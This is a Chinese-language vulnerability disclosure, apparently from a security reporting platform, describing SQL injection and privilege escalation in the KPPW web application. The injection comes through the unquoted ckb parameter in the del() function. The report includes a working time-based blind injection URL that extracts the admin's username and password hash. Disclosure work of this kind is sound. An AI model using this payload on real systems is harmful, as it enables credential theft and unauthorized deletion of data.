### 简要描述: KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权) ### 详细说明: KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权) 文件/control/user/account_report.php ``` $objReportT = keke_table_class::get_instance('witkey_report'); if (isset ( $action )) { switch ($action) { case 'mulitDel' : if ($ckb) { $objTaskT->del ( 'task_id', $ckb ); kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' ); } else { kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' ); } break; ``` 在$objTaskT->del ( 'task_id', $ckb );中,$ckb进入了del函数 跟着del函数,文件/lib/inc/keke_table_class.php ``` function del($pk, $val, $url = null) { if (! $val) { return false; } if (is_array ( $val ) && ! empty ( $val )) { $ids = implode ( ',', $val ); $this->_table_obj->setWhere ( " $pk in ($ids)" ); } elseif ($val) { $this->_table_obj->setWhere ( "$pk = " . $val ); } $del_query = "del_" . $this->_pre . $this->_table_name; return $this->_table_obj->$del_query (); } ``` 可以看到这里的val,既是ckb变量 当val不为空,且不为数字时,直接进入where条件语句中,切勿引号保护,导致sql注入 ``` 这里有一个bug:...
### 简要描述: KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权) ### 详细说明: KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权) 文件/control/user/account_report.php ``` $objReportT = keke_table_class::get_instance('witkey_report'); if (isset ( $action )) { switch ($action) { case 'mulitDel' : if ($ckb) { $objTaskT->del ( 'task_id', $ckb ); kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' ); } else { kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' ); } break; ``` 在$objTaskT->del ( 'task_id', $ckb );中,$ckb进入了del函数 跟着del函数,文件/lib/inc/keke_table_class.php ``` function del($pk, $val, $url = null) { if (! $val) { return false; } if (is_array ( $val ) && ! empty ( $val )) { $ids = implode ( ',', $val ); $this->_table_obj->setWhere ( " $pk in ($ids)" ); } elseif ($val) { $this->_table_obj->setWhere ( "$pk = " . $val ); } $del_query = "del_" . $this->_pre . $this->_table_name; return $this->_table_obj->$del_query (); } ``` 可以看到这里的val,既是ckb变量 当val不为空,且不为数字时,直接进入where条件语句中,切勿引号保护,导致sql注入 ``` 这里有一个bug: del函数是/lib/inc/keke_table_class.php文件中的函数 但是在这里/lib/inc/keke_table_class.php文件实例化为: $objReportT = keke_table_class::get_instance('witkey_report'); 而$objTaskT这里是没有初始化的对象 导致无法触发这里的del函数 ``` 还有同意问题在文件/control/user/account_rights.php 因为这里的函数del,在文件/lib/inc/keke_table_class.php中,为一个全局的函数 很多地方都会调用: [<img src="https://images.seebug.org/upload/201412/0715080751f92c67cedabe58b6e282e429711666.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/0715080751f92c67cedabe58b6e282e429711666.png) 这里后台触发就不管了(话说后天漏洞真是没人管。。。) 前台的一共有二十多个触发点和文件 部分过滤处理了 还剩下多出个可以出发的 ``` /control/user/message_detail.php /control/user/message_notice.php /control/user/message_private.php /control/user/shop_caselist.php /control/user/transaction_released.php /control/user/transaction_service.php ``` 这里已/control/user/transaction_service.php为例: ``` $strModelName = $kekezu->_model_list[$intModelId]['model_code']; $arrStatus = call_user_func ( array ($strModelName.'_shop_class', 'get_'.$strModelName.'_status') ); $objServiceT = keke_table_class::get_instance('witkey_service'); if (isset ( $action )) { switch ($action) { case 'mulitDel' : if ($ckb) { $objServiceT->del ( 'service_id', $ckb ); kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' ); } else { kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' ); } break; ``` 同意存在注入 二期这里在删除各种数据时,只根据id进行删除,没有判断用户属性,导致越权操作 删除任意用户权限下的内容 这里包括删除管理员创建的模块和数据都可以删除 ### 漏洞证明: SQL注入: ``` http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=service&action=mulitDel&ckb=1161 and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2) ``` 看看SQL执行结果: [<img src="https://images.seebug.org/upload/201412/071526335b23b42508b35280fd5d595e0d1f33e6.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/071526335b23b42508b35280fd5d595e0d1f33e6.png) 这里会延迟5秒后返回 [<img src="https://images.seebug.org/upload/201412/071532028e197eedcbdf796cd7c450209c25ffc1.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/071532028e197eedcbdf796cd7c450209c25ffc1.png) 说明UserName+password的第一个字符是a 这里的cbk就是服务模块的service_id 这里的cbk=1161是admin用户创建的模块,也是可以删除的,导致越权操作